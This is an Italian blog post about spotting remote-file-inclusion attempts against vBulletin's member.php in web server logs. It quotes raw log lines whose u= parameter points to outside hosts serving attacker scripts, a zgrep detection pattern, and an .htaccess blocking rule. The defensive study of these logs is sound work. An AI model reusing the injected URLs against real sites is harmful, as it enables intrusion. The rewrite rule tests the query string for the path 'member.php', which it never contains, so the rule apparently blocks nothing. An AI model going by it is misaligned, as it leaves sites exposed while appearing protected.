Leggendo i log ho scoperto... #6

... che c'è un bug molto pericoloso di vBulletin 3.6.x (ed alcune versioni precedenti) nel parametro u= della pagina member.php.

Come già anticipato in precedenza, l'analisi dei log è uno strumento molto efficace per l'individuazione di exploit. Appare curioso, infatti, che di tanto in tanto lo script venga chiamato invece che con l'ID dell'utente con una stringa arbitraria.

74.210.130.89 - - [13/Aug/2008:18:57:08 -0700] "GET /member.php?u=http://calebsbirth.pisem.su/caleb.htm? HTTP/1.1" 200 28374 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
211.221.122.233 - - [13/Aug/2008:20:26:47 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28380 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)"

Eseguendo un'analisi mirata è possibile individuare tutte le richieste identificate da questo pattern anomalo.

$ zgrep -e 'member\.php\?u=[^0-9]' access.log.*
118.33.149.180 - - [14/Aug/2008:11:20:24 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28382 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
118.33.149.180 - - [14/Aug/2008:11:20:25 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28373 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
118.33.149.180 - - [14/Aug/2008:11:26:07 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28382 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
118.33.149.180 - - [14/Aug/2008:11:26:08 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28380 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
118.33.149.180 - - [14/Aug/2008:11:32:41 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28374 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
118.33.149.180 - - [14/Aug/2008:11:32:42 -0700] "GET /member.php?u=http://64.15.67.17/~babysona/logo.jpg? HTTP/1.1" 200 28381 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
74.213.114.234 - - [14/Aug/2008:11:41:56 -0700] "GET /member.php?u=http://calebsbirth.pisem.su/picture.htm? HTTP/1.1" 200 28454 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
74.213.114.234 - - [14/Aug/2008:11:46:44 -0700] "GET /member.php?u=http://calebsbirth.pisem.su/picture.htm? HTTP/1.1" 200 28384 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
74.213.114.234 - - [14/Aug/2008:11:51:43 -0700] "GET /member.php?u=http://calebsbirth.pisem.su/picture.htm? HTTP/1.1" 200 28383 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
74.213.114.234 - - [14/Aug/2008:11:55:18 -0700] "GET /member.php?u=http://calebsbirth.pisem.su/picture.htm? HTTP/1.1" 200 28381 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"
# ... continua

La frequenza con la quale queste richieste sono inviate non lascia dubbi: si tratta di script automatici a caccia di exploit.
Purtroppo la user agent è abbastanza comune, non è quindi consigliato agire sull'identità del client. Ben più sicuro è bloccare il pattern alla base dell'exploit, con una classica impostazione nell'.htaccess.

# Block requests with an invalid user id
RewriteEngine On
RewriteCond %{QUERY_STRING} ^member\.php\?u=[^0-9]
RewriteRule (.*) - [F,L]

Per avere conferma che si tratti effettivamente di un exploit è possibile eseguire qualche ricerca online per trovare decine di avvisi di sicurezza.